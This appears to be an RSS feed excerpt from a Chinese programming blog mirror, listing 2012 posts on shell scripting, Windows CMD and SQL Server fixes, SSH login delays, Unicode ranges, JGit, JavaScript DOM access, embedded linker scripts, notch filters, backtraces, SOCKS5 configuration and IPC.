      <description>原文转自：http://www.blogabc.net/i4458_Shell%E8%AF%BB%E6%96%87%E4%BB%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E6%B3%95%E6%80%BB%E7%BB%93%EF%BC%88b_shell).html&#xA;读文件的方法：&#xA;第一步： 将文件的内容通过管道（|）或重定向（&amp;lt;）的方式传给while 第二步： while中调用read将文件内容一行一行的读出来，并付值给read后跟随的变量。变量中就保存了当前行中的内容。 例如读取文件/sites/linuxpig.com.txt 1）管道的方式： cat /sites/linuxpig.com.txt |while read LINE do echo $LINE done 当然也可以将cat /sites/linuxpig.com.txt 写成一些复杂一些的，比如： 示例1： find -type f -name &#34;*.txt&#34; -exec cat |while read LINE do echo $LINE done 可以将当前目录所有以 .txt 结尾的文件读出 示例2： grep -r &#34;linuxpig.com&#34; ./ | awk -F&#34;:&#34; &#39;{print $1}&#39; | cat |while read LINE do echo $LINE done 可以将含有 &#34;linuxpig.com&#34; 字符串的所有文件打开并读取。。 示例没有实际测试，如果使用请先测试。。。。。:-) 2）重定向的方式： 2.1 利用重定向符&amp;lt; while read LINE do echo $LINE done &amp;lt; /sites/linuxpig.</description>
    </item>
    <item>
      <title>在开始运行输入CMD回车后，CMD命令黑框框出来闪一下就消失不见了--解决方法...</title>
      <link>https://bchobby.github.io/posts/f8ecfe3726fb0dcfa35b887266f54ecd/</link>
      <pubDate>Thu, 09 Aug 2012 15:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8ecfe3726fb0dcfa35b887266f54ecd/</guid>
      <description>如何 让 批处理文件 打开后 就进入 当前目录？&#xA;在 当前 目录 下 创建 一个 xxx.bat 文件，内容为 cmd，就ok了。&#xA;一、首先查看C:\WINDOWS\SYSTEM32下的CMD.EXE是否存在，文件日期是否正常；&#xA;检测结果为正常，与其他系统文件日期相同，应该不是这个问题。&#xA;二、再查看系统的环境变量，path是否包含如下路径：%SystemRoot%\system32;%SystemRoot%;&#xA;查看后发现存在（如果不存在就需加上）&#xA;三、看来还不是在上面的两个常见问题，应该是注册表被修改过。最后终于找到了解决办法：&#xA;注册表：&#xA;HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun里的值清空，不能是空格哦!（就是没有数值，而一闪而过可能是EXIST，把他清除即可。）&#xA;点击 这里，介绍 批处理。</description>
    </item>
    <item>
      <title>WPF 入门（1）—自定义关闭按钮</title>
      <link>https://bchobby.github.io/posts/1181934fc776ef01d325dafe7ef2c5d6/</link>
      <pubDate>Tue, 07 Aug 2012 20:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1181934fc776ef01d325dafe7ef2c5d6/</guid>
      <description>目标：由于需求界面美观，圆角边距等等，所以整个界面使用背景图，去除自带边框及按钮。&#xA;1.去除系统自带边框、按钮。&#xA;2.自定义退出按钮，并对退出进行提示框提示，同时解决了Alt+F4退出的不提示的问题。&#xA;操作：&#xA;设置Window属性 AllowsTransparency=&#34;True&#34; 透明&#xA;WindowStyle=&#34;None&#34; 去除边框&#xA;MouseDown=&#34;Window_MouseDown&#34; 由于没有边框无法鼠标拖动，所以定义拖动方法&#xA;Closing=&#34;Window_Closing&#34;&amp;gt; 设置页面关闭触发方法&#xA;&amp;lt;Window x:Class=&#34;QfpayPC.MainWindow&#34; xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34; Title=&#34;MainWindow&#34; Height=&#34;740&#34; Width=&#34;936&#34; AllowsTransparency=&#34;True&#34; WindowStyle=&#34;None&#34; MouseDown=&#34;Window_MouseDown&#34; Closing=&#34;Window_Closing&#34;&amp;gt; Window_MouseDown：&#xA;//界面可以拖动 private void Window_MouseDown(object sender, MouseButtonEventArgs e) { if (e.LeftButton == MouseButtonState.Pressed) { DragMove(); } } Window_Closing：&#xA;//退出提示程序 private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e) { MessageBoxResult result = MessageBox.Show(&#34;正在交易中,您真的要退出吗？&#34;, &#34;提示&#34;, MessageBoxButton.YesNo, MessageBoxImage.Question); if (result == MessageBoxResult.Yes) { Application.Current.Shutdown(); } else { e.Cancel = true; } } 自定义关闭按钮、最小化按钮</description>
    </item>
    <item>
      <title>解决ssh登录等待时间长的问题</title>
      <link>https://bchobby.github.io/posts/54b428d12a6bd3a247d1e42f7f03da30/</link>
      <pubDate>Tue, 07 Aug 2012 16:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54b428d12a6bd3a247d1e42f7f03da30/</guid>
      <description> http://hi.baidu.com/curioz/item/278c2e32fdb8bb149dc65ed7&#xA;通过ssh远程登录时，有时很快就提示输密码，有时却要等上快一分钟。Google一番后经实践发现主要有两个关键地方，小结一下：&#xA;1. DNS (name server) 检查服务器端的 /etc/resolv.conf，看有没有连接不上的地址。如果是内网，可以全部删除。 这个症状是：用ssh -v 登录发现停在debug1: Offering public key: 处。 2. GSSAPIAuthentication 貌似是个 安全性更好 的认证方式，openssh默认在服务器和客户端都会启用。要加快速度可注释掉或改为no 建议在客户端修改 /etc/ssh/ssh_config 当然也可以修改服务器端的 /etc/ssh/sshd_config，并重新载入设置：service sshd reload </description>
    </item>
    <item>
      <title>中文在unicode中的编码范围</title>
      <link>https://bchobby.github.io/posts/7a12266cd084d434538b12d1d56c61a0/</link>
      <pubDate>Tue, 07 Aug 2012 14:53:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a12266cd084d434538b12d1d56c61a0/</guid>
      <description>喜欢古典小说的 可以关注 头条号 古典小说 公众号 古典小说网&#xA;喜欢编程的 可以关注 头条号 讨厌编程&#xA;以前写过一篇贴子是写中文在unicode中的编码范围unicode中文范围，但写的不是很详细，今天再次研究了下unicode，并给出详细的unicode取值范围。&#xA;本次研究的unicode对象是unicode 5.2.0版本。现在最新的是6.0版&#xA;对于这次研究的unicode把编码分为以下几个平面(英文中是plane，可以认为就是不同的区位)&#xA;Unicode可以逻辑分为17平面（Plane），每个平面拥有65536（ = 216）个代码点，虽然目前只有少数平面被使用。&#xA;平面0 (0000–FFFF): 基本多文种平面（Basic Multilingual Plane, BMP）.&#xA;平面1 (10000–1FFFF): 多文种补充平面（Supplementary Multilingual Plane, SMP）.&#xA;平面2 (20000–2FFFF): 表意文字补充平面（Supplementary Ideographic Plane, SIP）.&#xA;平面3 (30000–3FFFF): 表意文字第三平面（Tertiary Ideographic Plane, TIP）.&#xA;平面4 to 13 (40000–DFFFF)尚未使用&#xA;平面14 (E0000–EFFFF): 特别用途补充平面（Supplementary Special-purpose Plane, SSP）&#xA;平面15 (F0000–FFFFF)保留作为私人使用区（Private Use Area, PUA）&#xA;平面16 (100000–10FFFF)，保留作为私人使用区（Private Use Area, PUA）&#xA;最有用的当然就是BMP平面０了编码从U+0000至U+FFFF。那里包含了几乎全部的常用字符。&#xA;unicode基本平面区的编码区间含义&#xA;为鉴于Unicode原有的16位空间不足以应用，于是从Unicode 3.1版本开始，设立了16个扩展字码空间，称为辅助平面，&#xA;使 Unicode 的可使用空间由6万多字增至约100万字。辅助平面字符要用上4字节来存储。&#xA;unicode中的几大区间</description>
    </item>
    <item>
      <title>JGit的常用功能（提交、回滚，日志查询）</title>
      <link>https://bchobby.github.io/posts/02350a6777dd884a85d112586bffa962/</link>
      <pubDate>Mon, 06 Aug 2012 11:46:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02350a6777dd884a85d112586bffa962/</guid>
      <description>最近项目中要做一个回滚功能，目的是如果这次发布出现了问题，立马回滚到上一次发布的版本，用jgit实现的，具体方法如下：&#xA;public class GitUtil { private final static String GIT = &#34;.git&#34;; /** * 将文件列表提交到git仓库中 * @param gitRoot git仓库目录 * @param files 需要提交的文件列表 * @return 返回本次提交的版本号 * @throws IOException */ public static String commitToGitRepository(String gitRoot, List&amp;lt;String&amp;gt; files) throws Exception { if (StringUtils.isNotBlank(gitRoot) &amp;amp;&amp;amp; files != null &amp;amp;&amp;amp; files.size() &amp;gt; 0) { File rootDir = new File(gitRoot); //初始化git仓库 if (new File(gitRoot + File.separator + GIT).exists() == false) { Git.init().setDirectory(rootDir).call(); } //打开git仓库 Git git = Git.</description>
    </item>
    <item>
      <title>Javascript获取Html界面元素的几种方法</title>
      <link>https://bchobby.github.io/posts/b4ab82a99185004381bb6a22e61241c7/</link>
      <pubDate>Thu, 02 Aug 2012 09:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4ab82a99185004381bb6a22e61241c7/</guid>
      <description> 在Javascript，可以通过多种方式获取Html元素对象。以下是一个Html页面示例。&#xA;如果我们需要在javascript中获取输入框age对象。主要的方法有以下几种：&#xA;all方法：document.all(&#34;age&#34;) getElementById方法：document.getElementByIdx_x(&#34;age&#34;) getElementsByName方法：document.getElementsByName(&#34;age&#34;) getElementsByTagName方法：document.getElementsByTagName_r(&#34;input&#34;) form1方法：document.form1.age eval方法：eval_r(&#34;document.form1.age&#34;) 我们在具体使用时，需要特别注意：all和getElementsByName方法，在界面上没有指定元素时，仍可能会得到object对象。经过分析和验证，主要有以下注意事项：&#xA;W3标准下可以通过getElementById、getElementsByName、getElementsByTagName、form1访问Document中的任一个标签。 all：建议尽量不要采用all方法来获取元素, 这种方法不符合W3标准，而且只能在IE或IE内核的浏览器中有效。当界面中没有指定元素时，all方法有时返回null，有的情况下返回object。 getElementById：通过ID来取得Document中的某一特定元素，所以只能访问设置了ID的元素。如果界面中存在多个相同ID的元素，则只取第1个。 getElementsByName：通过Name来获得元素数组，文档中只有一个指定Name的标签时，也返回数组。Document中每一个元素的ID是唯一的，但Name却可以重复。打个比喻就像人的身份证号是唯一的，但名字重复的却很多。 getElementsByTagName：通过TagName（标签名称）来获得元素，一个Document中当然会有相同的标签，所以这个方法也是取得一个数组。 form1：如果文档中只有一个指定Name的标签时，返回该对象；如果文档中有多个指定Name的标签时，返回对象数组。 eval：eval是计算某个字符串，并执行其中的javascript。 </description>
    </item>
    <item>
      <title>【转】gcc编译错误表</title>
      <link>https://bchobby.github.io/posts/e60685843e649ff0d3e20017d0036f69/</link>
      <pubDate>Wed, 01 Aug 2012 13:41:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e60685843e649ff0d3e20017d0036f69/</guid>
      <description>conversion from %s to %s not supported by iconv”&#xA;iconv 不支持从 %s 到 %s 的转换”&#xA;iconv_open”&#xA;iconv_open”&#xA;no iconv implementation, cannot convert from %s to %s”&#xA;没有 iconv 的实现，无法从 %s 转换到 %s”&#xA;character 0x%lx is not in the basic source character set\n”&#xA;字符 0x%lx 不在基本源字符集中\n”&#xA;converting to execution character set”&#xA;转换到可执行文件的字符集”&#xA;character 0x%lx is not unibyte in execution character set”&#xA;字符 0x%lx 在执行字符集中不是单字节的”&#xA;Character %x might not be NFKC”</description>
    </item>
    <item>
      <title>lds 链接脚本</title>
      <link>https://bchobby.github.io/posts/f7cbeb45855381e0cca73c7345b7381f/</link>
      <pubDate>Tue, 24 Jul 2012 20:11:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7cbeb45855381e0cca73c7345b7381f/</guid>
      <description> 笔记1 OUTPUT_FORMAT(&#34;elf32-littlearm&#34;, &#34;elf32-littlearm&#34;, &#34;elf32-littlearm&#34;)&#xD;/*OUTPUT_FORMAT(&#34;elf32-arm&#34;, &#34;elf32-arm&#34;, &#34;elf32-arm&#34;)*/&#xD;OUTPUT_ARCH(arm)&#xD;ENTRY(_start)&#xD;SECTIONS&#xD;{&#xD;. = 0x20008000; #&#xD;. = ALIGN(4); #四字节对齐 .text :&#xD;{&#xD;start/start.o(.text) #取start.o的所有代码段放到 .text段中&#xD;*(.text) #取所有.o文件的所有代码段放到.text段中&#xD;}&#xD;. = ALIGN(4); #字对齐&#xD;.rodata : { *(.rodata) } #取只读变量放到.rodata段中&#xD;. = ALIGN(4); #字对齐&#xD;.data : { *(.data) } #将读写数据放到.data段中&#xD;. = ALIGN(4); #字对齐&#xD;.bss :&#xD;{ *(.bss) } #　BSS（Block Started by Symbol）通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。&#xD;}&#xD;</description>
    </item>
    <item>
      <title>led 工程 makefile</title>
      <link>https://bchobby.github.io/posts/3aef15b90136406773e904364643d6b6/</link>
      <pubDate>Tue, 24 Jul 2012 20:09:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3aef15b90136406773e904364643d6b6/</guid>
      <description># CORTEX-A8 PERI DRIVER CODE&#xD;# VERSION 1.0&#xD;# ATHUOR lapset (klapset@gmail.com)&#xD;# MODIFY DATE #&#x9;2012.2.22 by lapset ,to change the format of Makefile&#xD;#NOTE :please fix the following info to adpat to your environment&#xD;CROSS_COMPILE=arm-none-eabi-&#xD;LDPATH=&#34;C:\Program Files\yagarto\lib\gcc\arm-none-eabi\4.6.2\include&#34;&#xD;OUTPATH=/mnt/hgfs/share&#xD;NAME=led&#xD;COMMONPATH = &#34;D:\eclipse_projects\LED\common\include&#34;&#xD;#=============================================================================#&#xD;#DO NOT TO CHANG THE CODE AFTER THIS !!!&#xD;export CFLAGS LD CC STRIP OBJCOPY OBJDUMP COMMONPATH&#xD;CFLAGS += -g -O0 -fno-strict-aliasing -mabi=apcs-gnu -mfpu=vfpv3 -mfloat-abi=softfp -fno-builtin -nostdinc -isystem $(LDPATH) -I $(COMMONPATH) LD&#x9;= $(CROSS_COMPILE)ld&#xD;CC&#x9;= $(CROSS_COMPILE)gcc-4.</description>
    </item>
    <item>
      <title>----Dell power adaptor 问题！</title>
      <link>https://bchobby.github.io/posts/d51d6d6f7aba13b4cffa34af7cdc9b58/</link>
      <pubDate>Sat, 21 Jul 2012 16:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d51d6d6f7aba13b4cffa34af7cdc9b58/</guid>
      <description>http://techmonks.net/bypassing-the-dell-unrecognized-adapter-issue/&#xA;戴尔原来有这样的问题，我侄子的 Inspiron 640m，根据这个帖子解决了！&#xA;Under Linux:&#xA;processor.ignore_ppc=1 kernel parameter cmd line&#xA;Under Window:&#xA;rmclock[gui] 用了一下，界面比较复杂的工具，整了半天反正可以了，不知自己都干了些什么！&#xA;转载于:https://www.cnblogs.com/bzhao/archive/2012/07/21/2602397.html</description>
    </item>
    <item>
      <title>50Hz工频干扰消除</title>
      <link>https://bchobby.github.io/posts/8d7d42846cac794161a2344ff2e9b290/</link>
      <pubDate>Sat, 21 Jul 2012 14:09:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d7d42846cac794161a2344ff2e9b290/</guid>
      <description>今天整理工频干扰消除算法。&#xA;我们知道，设计数字滤波器，和模拟滤波器的实质，其实就是求一组系数，逼近要求的频率响应。&#xA;模拟滤波器已经很成熟，因此，数字滤波器的设计，将S平面映射到Z平面就型。采用双线性变化法映射，可以避免多值映射产生的混叠现象。但这有个问题就，模拟域和数字域两者的角频率是非线性的。&#xA;1.平滑滤波器是数字滤波中较早使用的方法，该算法简单，处理速度快，滤波效果较好，但存在明显不足，通带较窄，影响有用信号的分析，有严重削峰，设计方法略。&#xA;然后，我们根据IIR和FIR分两大类。FIR滤波器，可以得到严格的线性相位，但它的转移函数的极点固定在原点，只能通过改变零点位置来改变性能。为了达到高的选择性，必须使用高阶。相同设计指标下，FIR滤波器的阶数是IIR滤波器的5~10倍。而IIR滤波器可以根据模拟滤波器的设计公式，数据和表格，计算量小。&#xA;首先介绍IIR类，即两种形式的notch滤波器。&#xA;2.陷波器 notch 滤波器&#xA;陷波器，是IIR数字滤波器，有signal notch 滤波器，即单一频率陷波器，以及comb notch滤波器，即梳妆滤波器。&#xA;陷波器是无限冲击响应(IIR)数字滤波器，该滤波器可以用以下常系数线性差分方程表示：&#xA;式中： x(n)和y(n)分别为输人和输出信号序列； ai和bi为滤波器系数。&#xA;对式(1)两边进行z变换，得到数字滤波器的传递函数为：&#xA;式中： zi和pi分别为传递函数的零点和极点。&#xA;由传递函数的零点和极点可以大致绘出频率响应图。在零点处，频率响应出现极小值；在极点处，频率响应出现极大值。因此可以根据所需频率响应配置零点和极点，然后反向设计带陷数字滤波器。&#xA;2.1 signal notch 滤波器&#xA;考虑一种特殊情况，若零点 在第1象限单位圆上，极点在单位圆内靠近零点的径向上。为了防止滤波器系数出现复数，必须在z平面第4象限对称位置配置相应的共轭零点 、共轭极点 。其极零图如下所示：&#xA;这样零点、极点配置的滤波器称为单一频率陷波器，在频率ωo处出现凹陷。而把极点设置在零的的径向上距圆点的距离为l-μ处，陷波器的传递函数为：&#xA;式(3)中μ越小，极点越靠近单位圆，则频率响应曲线凹陷越深，凹陷的宽度也越窄。当需要消除窄带干扰而不能对其他频率有衰减时，陷波器是一种去除窄带干扰的理想数字滤波器。&#xA;当要对几个频率同时进行带陷滤波时，可以按(2)式把几个单独频率的带陷滤波器(3)式串接在一起。&#xA;假设有一个输入，它由50Hz信号和100Hz信号组成。50Hz是一个干扰信号，要设计一个50 Hz的带陷滤波器，采样频率为500Hz。&#xA;转移函数：&#xA;根据极零关系，取μ = 0.001，则得到z = 0.809 + j * 0.588，z* = 0.809 - j * 0.588，p = 0.8082 + j * 0.5872，p* = 0.8082 - j * 0.5872&#xA;代入转移函数，得到分子系数[1, 1.618, 1],分母系数[1,1.6164,0.999] 相应的差分方程：&#xA;2.2 comb notch 滤波器</description>
    </item>
    <item>
      <title>在C/C&#43;&#43;程序里打印调用栈信息</title>
      <link>https://bchobby.github.io/posts/368e4306300c7d3253ba5d3dfbb4174e/</link>
      <pubDate>Wed, 18 Jul 2012 14:58:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/368e4306300c7d3253ba5d3dfbb4174e/</guid>
      <description>我们知道，GDB的backtrace命令可以查看堆栈信息。但很多时候，GDB根本用不上。比如说，在线上环境中可能没有GDB，即使有，也不太可能让我们直接在上面调试。如果能让程序自己输出调用栈，那是最好不过了。本文介绍和调用椎栈相关的几个函数。&#xA;NAME&#xA;backtrace, backtrace_symbols, backtrace_symbols_fd - support for application self-debugging&#xA;SYNOPSIS&#xA;#include &amp;lt;execinfo.h&amp;gt;&#xA;int backtrace(void **buffer, int size);&#xA;char **backtrace_symbols(void *const *buffer, int size);&#xA;void backtrace_symbols_fd(void *const *buffer, int size, int fd);&#xA;以上内容源自这几个函数的man手册。&#xA;先简单介绍一下这几个函数的功能：&#xA;l backtrace：获取当前的调用栈信息，结果存储在buffer中，返回值为栈的深度，参数size限制栈的最大深度，即最大取size步的栈信息。&#xA;l backtrace_symbols：把backtrace获取的栈信息转化为字符串，以字符指针数组的形式返回，参数size限定转换的深度，一般用backtrace调用的返回值。&#xA;l backtrace_symbols_fd：它的功能和backtrace_symbols差不多，只不过它不把转换结果返回给调用方，而是写入fd指定的文件描述符。&#xA;Man手册里，给出了一个简单的实例，我们看一下：&#xA;#include&amp;lt;execinfo.h&amp;gt;&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;stdlib.h&amp;gt;&#xA;#include&amp;lt;unistd.h&amp;gt;&#xA;void&#xA;myfunc3(void)&#xA;{&#xA;int j, nptrs;&#xA;#define SIZE 100&#xA;void *buffer[100];&#xA;char **strings;&#xA;nptrs = backtrace(buffer, SIZE);&#xA;printf(&#34;backtrace() returned %d addresses\n&#34;, nptrs);&#xA;/* The call backtrace_symbols_fd(buffer, nptrs, STDOUT_FILENO)</description>
    </item>
    <item>
      <title>SOCKS5 Server</title>
      <link>https://bchobby.github.io/posts/4dff0e85e7e32c45eab572f38d4e3eb2/</link>
      <pubDate>Wed, 18 Jul 2012 10:35:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dff0e85e7e32c45eab572f38d4e3eb2/</guid>
      <description>Socks5。Socks是个电路级网关，由David&#xA;Koblas在1990年开发。此后，就一直作为Internet RFC（Request for&#xA;Comments）中的开放标准。Socks在协议栈的TCP层上运行。Socks代理只是简单地传递数据包，而不必关心是何种应用协议（比如FTP、HTTP和NNTP请求）。&#xA;Socks5代理支持TCP和UDP协议，而且还支持各种身份验证机制、服务器端域名解析等，socks5通过配置可以支持socks4。我们平时使用的Internet&#xA;Explorer、QQ等软件都支持socks代理设置。&#xA;Red Hat Linux本身并不带socks5的rpm软件包，但可以从网上下载：&#xA;http://ftp.falsehope.com/home/gomez/socks5/socks5-1.0r11-3.i386.rpm&#xA;我们主要通过socks5.conf&#xA;文件来配置socks5服务器。缺省路径为：/etc/socks5.conf。在/usr/doc/socks5-1.0r11/examples目录&#xA;下有socks5的配置示例（注意是/usr/doc/而不是/usr/share/doc/）。&#xA;§§　socks5.conf的配置选项&#xA;socks5.conf通常由以下几个方面的内容构成：&#xA;－ban host：定义拒绝服务的客户列表&#xA;－authentication：定义Socks5服务器使用的用户认证方法&#xA;－interface：定义Socks5服务器绊定的ip地址和服务端口&#xA;－variables and flags：定义Socks5服务器运行的环境&#xA;－proxies：定义客户可以通过Socks5服务器访问的地址列表以及Socks5服务器访问这些地址的方法&#xA;－access control：定义Socks5服务器接受或拒绝客户连接的规则&#xA;下面我们分别来讲述这些条目对应的语法：&#xA;ban host&#xA;语法：ban source-host source-port&#xA;说明：Socks5服务器将拒绝接受来自source-host:source-port的客户连接。&#xA;authentication&#xA;语法：auth source-host source-port auth-methods&#xA;说明：对于来自source-host:source-port的客户连接，Socks5服务器将使用&#xA;auth-methods所定义的用户认证方法。对于没有定义认证方法的客户将使用任何可以使用的认证方法。&#xA;interface&#xA;语法：interface hostpatern portpattern interface-address&#xA;说明：来自source-host:source-port的客户连接由interface-address处理；目的地址为source-host:source-port的客户连接由Socks5&#xA;代理服务器从 interface-address发出连接请求。&#xA;variables&#xA;语法：set variable value&#xA;说明：定义Socks5运行参数，Socks5有以下一些常用的运行参数：&#xA;SOCKS5_BINDINTFC host:port&#xA;host:port&#xA;指定socks5运行的主机和端口号，用于代替缺省的端口。忽略时，socks5用0.0.0.0作为主机值。&#xA;SOCKS5_CONFFILE filename&#xA;Filename&#xA;指定配置文件。在许多系统中，缺省是/etc/socks5.conf。在运行socks5之前，设置这个变量。如果有多个socks5&#xA;daemon运行，为每个daemon使用不同的配置文件。&#xA;SOCKS5_DEMAND_IDENT&#xA;当客户没有响应ident&#xA;请求时，认证失败。使用SOCKS5_DEMAND_IDENT确认每个连接有一个关联的用户名。&#xA;SOCKS_ENCRYPT&#xA;如果可能的话，请求下一个socks5进程加密数据。SOCKS5_ENCRYPT&#xA;仅仅在编译socks5时包括了GSS-API认证时，才有意义。</description>
    </item>
    <item>
      <title>网络 进程 socket</title>
      <link>https://bchobby.github.io/posts/d4e8ee246f218a4df4760b9953fced4d/</link>
      <pubDate>Tue, 17 Jul 2012 22:14:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4e8ee246f218a4df4760b9953fced4d/</guid>
      <description>共享内存：（最快） 常用的命令 ipcs ipcrm ipcmk include &amp;lt;errno.h&amp;gt;用以下面判断是否key已经先建立 if(errno == EEXIST){说明已经被对方建好，这里加上处理函数，比如shmat....} 一般先用ftok建立key 创建/打开共享内存shmget(key_t key, size_t size, int shmflg);注意读写者的第三个参数0666| IPC_CREAT | IPC_EXCL /*fail if key exists*/0666是ipcs 中的perms 属性 映射共享内存 shmat (p = (SHM *)shmat(shmid, NULL, 0)) == (SHM *)-1 获取对象的属性struct shmid_ds buf (shmctl(shmid, IPC_STAT, &amp;amp;buf) == -1) 撤销共享内存映射 shmat 删除对象shmctl(shmid, IPC_RMID, NULL) == -1 脱离共享内存 deattch shmdt 当有多个读写者连上 共享内存时，struct shmid_ds buf。if（Buf.shm_nattch==0） 判断连接数目当没有了再删除对象 (shmctl(shmid, IPC_RMID, NULL) == -1) 当有几个读者的时候，能几个读者共同读到呢？？ 信号灯： 常与共享内存一起用,可以实现P V的强大操作。对多种资源进行操作多个可以利用 int semop(int semid, struct sembuf *sops, unsigned nsops); 没有mask命令 只有umask 这个是屏蔽码。哪位为1则屏蔽哪位 大端：高字节存在低位 （刚开始的端口是大的）同下为78563412 小端：低字节存在低位 （端口是小的）若 i=0x78563412 则利用p++输出为12345678 我们的电脑经常是小端：所以需要转化成网络字节序（网络字节序是大段） 小端上192.</description>
    </item>
    <item>
      <title>Javascript实现单链表简单操作</title>
      <link>https://bchobby.github.io/posts/854830c6e10388d06e1d34c96401ad1b/</link>
      <pubDate>Tue, 10 Jul 2012 14:22:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/854830c6e10388d06e1d34c96401ad1b/</guid>
      <description>简述：&#xA;试用传引用方法，实现链表增加，移除，查找操作。&#xA;知识点：&#xA;javascript的function实现了类的封装&#xA;代码：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;script type = &#34;text/javascript&#34;&amp;gt; var array = new Array(1,2,3,4,5,6); var Node = function(newData){ this.next = null; this.data = null; this.Init = function(){ this.data = newData; }; this.Init(); } //definition of List class var List = function(){ this.head = null; this.size = 0; this.Init = function(){ this.head = null; this.size = 0; } this.Init(); this.Insert = function(newData){ this.size += 1; var newNode = new Node(newData); if(this.</description>
    </item>
    <item>
      <title>ubuntu进不了图形界面 一种恢复方案</title>
      <link>https://bchobby.github.io/posts/40b990f5e48d9605d61c185d7cb83212/</link>
      <pubDate>Thu, 05 Jul 2012 22:44:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40b990f5e48d9605d61c185d7cb83212/</guid>
      <description>开虚拟机的时候因为compiz老是和系统冲突 就用了几次 compiz --replace 和 compiz --replace --display :0.0 甚至用上了nvidia重新配置的命令&#xA;查看了系统的日志文件Xorg.0.log 发现一个Screen(s) found, but none have a usable configuration的错误于是乎 重新生成了 nvidia -config (xorg.conf 文件)(在./etc/X11下面)相比较只是少了个Modes &#34;1366*768&#34;其他一模一样&#xA;在一个设置允许客户访问账户的文件里（/etc/lightdm/lightdm.conf）发现多了个没有赋值的自动登录界面。于是删除之（怀疑是tweak中设置造成的）&#xA;将以～/。命名的文件先备份然后删除发现，可以进入图形界面于是开始一个一个的排除到底是哪个文件惹的货。最后发现&#xA;一个叫./.Xauthority（ startx脚本记录文件）的文件属性组全变成root，导致进不了图形界面的系统，改回来就对了&#xA;将其改成普通用户后能进入图形界面，我猜是前面用超级用户运行 ...-display :0.0导致这个文件的属性的改变 现在唯一不一样的就是登录帐号后屏幕先淡白一下再进入界面&#xA;多重启几下用低配置的图形界面进入一次，再次发现Screen(s) found, but none have a usable configuration这个错误，不管.再次登录发现原来ccsm的配置全部回来了，效果正常恢复 先前出现的淡白色已经消失，再次重启发现看似一切正常恢复。辛苦2天终于避免删除账户的困扰 最后总结：可能前面有在tty1使用compiz --replace --display :0.0不小心引起文件属性组的改变&#xA;日志文件越来越多于是删除了后缀为log.1的文件，清空了些.log的日志文件，常用到的命令是 du -ah | sort -r -n -k 1 | less查看文件大小的排列&#xA;chown user:dir_or_file -R 用以将另一个帐号的一些配置文件移过来用&#xA;在~/.nv 下发现GLCache有14M与另一个用户的几百k有太大差距，这个是否应该删除呢？</description>
    </item>
    <item>
      <title>String.valueOf() 方法的使用</title>
      <link>https://bchobby.github.io/posts/7a43f20e69484ccf15c3f84baeeab9b5/</link>
      <pubDate>Thu, 05 Jul 2012 16:32:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a43f20e69484ccf15c3f84baeeab9b5/</guid>
      <description>1. 由 基本数据型态转换成 String String 类别中已经提供了将基本数据型态转换成 String 的 static 方法 也就是 String.valueOf() 这个参数多载的方法 有下列几种 String.valueOf(boolean b) : 将 boolean 变量 b 转换成字符串 String.valueOf(char c) : 将 char 变量 c 转换成字符串 String.valueOf(char[] data) : 将 char 数组 data 转换成字符串 String.valueOf(char[] data, int offset, int count) : 将 char 数组 data 中 由 data[offset] 开始取 count 个元素 转换成字符串 String.valueOf(double d) : 将 double 变量 d 转换成字符串 String.valueOf(float f) : 将 float 变量 f 转换成字符串 String.</description>
    </item>
    <item>
      <title>打开【SQL Server 配置管理器】提示：无法连接到 WMI 提供程序。您没有权限或者该服......</title>
      <link>https://bchobby.github.io/posts/1cffb1ea0d241100d086a333553db452/</link>
      <pubDate>Mon, 02 Jul 2012 17:44:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cffb1ea0d241100d086a333553db452/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; 打开【SQL Server 配置管理器】提示：无法连接到 WMI 提供程序。您没有权限或者该服务器无法访问。请注意，您只能使用 SQL Server 配置管理器来管理 SQL Server 2005 服务器。 ---------------------------&#xA;SQL Server 配置管理器&#xA;---------------------------&#xA;无法连接到 WMI 提供程序。您没有权限或者该服务器无法访问。请注意，您只能使用 SQL Server 配置管理器来管理 SQL Server 2005 服务器。 找不到指定的模块。 [0x8007007e]&#xA;---------------------------&#xA;确定 ---------------------------&#xA;今天发现这个问题，能及时解决心情很高兴，解决方法也是从网上Google的。整理分享一下。呵呵&#xA;方法1.在C:\WINDOWS\system32中搜索是否有framedyn.dll这个系统文件，如果没有，到system32 下的wbem文件中拷贝framedyn.dll到system32 目录下。再次进入配置管理器。&#xA;不行，就进行第二方法&#xA;方法2.以管理员身份运行“命令提示符”（在附件下面），进入后执行以下命令&#xA;1)cd /d C:\Program Files\Microsoft SQL Server\90\Shared&#xA;2)mofcomp &#34;C:\Program Files\Microsoft SQL Server\90\Shared\sqlmgmproviderxpsp2up.mof&#34;&#xA;提示：&#xA;正在分析 MOF 文件: C:\Program Files\Microsoft SQL Server\90\Shared\sqlmgmprovide&#xA;rxpsp2up.mof&#xA;MOF 